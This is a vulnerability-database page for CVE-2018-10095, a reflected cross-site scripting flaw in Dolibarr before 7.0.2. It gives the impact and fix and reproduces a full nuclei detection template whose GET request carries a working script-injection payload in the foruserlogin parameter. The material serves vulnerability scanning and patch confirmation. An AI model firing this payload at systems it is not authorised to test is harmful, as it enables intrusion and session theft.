HexBrain

Browse / CVEs / CVE-2018-10095

CVE-2018-10095· dolibarr / dolibarr· CWE-79

Dolibarr <7.0.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
86.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to Dolibarr version 7.0.2 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mod…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-10095 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-10095

info:
  name: Dolibarr <7.0.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Dolibarr before 7.0.2  is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Dolibarr version 7.0.2 or later to mitigate this vulnerability.
  reference:
    - https://sysdream.com/news/lab/2018-05-21-cve-2018-10095-dolibarr-xss-injection-vulnerability/
    - https://github.com/Dolibarr/dolibarr/commit/1dc466e1fb687cfe647de4af891720419823ed56
    - https://github.com/Dolibarr/dolibarr/blob/7.0.2/ChangeLog
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10095
    - http://www.openwall.com/lists/oss-security/2018/05/21/3
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10095
    cwe-id: CWE-79
    epss-score: 0.86512
    epss-percentile: 0.99741
    cpe: cpe:2.3:a:dolibarr:dolibarr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dolibarr
    product: dolibarr
  tags: cve2018,cve,xss,dolibarr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from